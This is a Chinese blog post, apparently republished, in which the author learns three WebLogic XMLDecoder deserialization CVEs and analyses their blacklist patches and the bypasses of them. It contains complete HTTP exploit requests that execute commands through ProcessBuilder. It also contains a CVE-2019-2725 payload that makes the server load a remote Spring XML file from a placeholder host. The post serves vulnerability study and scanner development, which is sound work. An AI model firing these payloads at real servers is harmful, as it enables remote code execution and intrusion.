内容简介:鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。这是一个java中的类,并不是Weblogic特有的,类的位置为
鉴于 @男壹号 大哥的建议,为之前写的一个扫描器又增加了几个POC,顺带学习了下weblogic的几个xmldecoder反序列化漏洞。
- CVE-2017-3506
- CVE-2017-10271
- CVE-2019-2725
由于之前没有本地调试过weblogic的经验,走了不少弯路,也踩了不少坑。安装和调试的过程可以看。
XMLDecoder
这是一个 java 中的类,并不是Weblogic特有的,类的位置为 java.beans.XMLDecoder
个人理解就是将一个描述java操作的XML文件转换为实际的java操作代码,也类似于一种反序列化的操作,只是载体变成了XML文件。(可能不咋准确
举个栗子
poc.xml
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1" > <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java>
然后我们利用 XMLDecoder
类对其进行反序列化操作
public class Main { public static void main(String[] args) { String path = "src/poc.xml"; try { XMLDecode_Deserialize(path); } catch (Exception e) { e.printStackTrace(); } } private static void XMLDecode_Deserialize(String path) throws Exception { File file = new File(path); FileInputStream fis = new FileInputStream(file); BufferedInputStream bis = new BufferedInputStream(fis); XMLDecoder xd = new XMLDecoder(bis); xd.readObject(); xd.close(); } }
运行之后可以发现,执行了 java.lang.ProcessBuilder("calc").start()
的操作。
XML文件里的描述也正是对于执行这样一段代码的描述(或者说序列化),通过XMLDecoder反序列化之后执行了这段代码。
对于具体XMLDecoder的执行流程,能力有限,本菜就稍微跟着看了下,就不班门弄斧了,感兴趣的可以看。
CVE-2017-3506
这里测试的Weblogic版本为 10.3.6
漏洞触发的POC
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 495 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1" > <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
关于漏洞触发点在 https://xz.aliyun.com/t/1848 中提到
对于poc中uri中 /wls-wsat/CoordinatorPortType
可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
动态调试
断点打在 weblogic.wsee.workarea
WorkContextXmlInputAdapter
的 readUTF()
,可以看到对应调用的堆栈信息
来到 weblogic.wsee.jaxws.workcontext
的 processRequest
可以看到传入的 var1
就是POST的XML内容,类型为一个 Packet
然后通过
HeaderList var2 = var1.getMessage().getHeaders(); Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
获取到了 var3
并传入到了 this.readHeaderOld(var3);
方法中
再到 readHeaderOld
中可以看到 var4
的值正是之前XML数据中的java标签代码
通过 var4
生成了 var6
的 WorkContextXmlInputAdapter
类,最后调用到了其 readUTF()
方法,从而进行了 XMLDecoder.readObject()
的反序列化。
漏洞补丁
由于本人也不知道怎么拿到weblogic的补丁,于是只能参考别的师傅文章中给出的补丁
这次的补丁在 WorkContextXmlInputAdapter
中添加了 validate
的验证,很明显的黑名单验证
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception", var7); } }
可以看到限制了 Object
标签,从而限制通过XML来构造类。也正是因为这样的黑名单限制,所以很快就出了 CVE-2017-10271
CVE-2017-10271
这个漏洞存粹就是对上一个漏洞补丁的绕过。直接来看下POC
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 708 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
可以看到唯一的变化就是把之前的 Object
标签变成了 void
标签,就轻松的绕过了之前的补丁。
至于为什么可以的原因在那篇分析XMLDecoder原理的文章中也提到了 https://xz.aliyun.com/t/5069
这里我也稍微看了下,主要的原因可以通过继承关系看到, VoidElementHandler
类继承了 ObjectElementsHandler
类,并且没有重写 addAttribute
方法,所有调用时依旧是调用到 ObjectElementsHandler
中的方法,也就导致了 void
标签和 object
的标签都可以生成一个类。
这回的补丁依旧是黑名单的形式,限制了不少的标签
private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
CVE-2019-2725
这个洞时隔两年之后才被放出来
POST /_async/AsyncResponseService HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Content-Length: 728 Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ== Connection: close Upgrade-Insecure-Requests: 1 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <class> <string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string> <void> <string>http://xxxx</string> </void> </class> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body> </soapenv:Envelope>
可以看到这回是利用 class
标签构造类,但是由于限制了 method
从而无法调用函数,因此,找了几个可以通过构造函数进行反序列化的类。网上通用的有
FileSystemXmlApplicationContext UnitOfWorkChangeSet
至于漏洞的修复,也是一如既往的黑名单,限制的更为严格了。
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
由于能力有限,过多的思考和总结这里也就暂时谈不上,目前只当作学习了。不知这种黑名单的防御方式下一次被绕过会是在什么时候。
References
以上所述就是小编给大家介绍的《Weblogic XMLDecoder反序列化学习》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
深入浅出强化学习:原理入门
郭宪、方勇纯 / 电子工业出版社 / 2018-1 / 79
《深入浅出强化学习:原理入门》用通俗易懂的语言深入浅出地介绍了强化学习的基本原理,覆盖了传统的强化学习基本方法和当前炙手可热的深度强化学习方法。开篇从最基本的马尔科夫决策过程入手,将强化学习问题纳入到严谨的数学框架中,接着阐述了解决此类问题最基本的方法——动态规划方法,并从中总结出解决强化学习问题的基本思路:交互迭代策略评估和策略改善。基于这个思路,分别介绍了基于值函数的强化学习方法和基于直接策略......一起来看看 《深入浅出强化学习:原理入门》 这本书的介绍吧!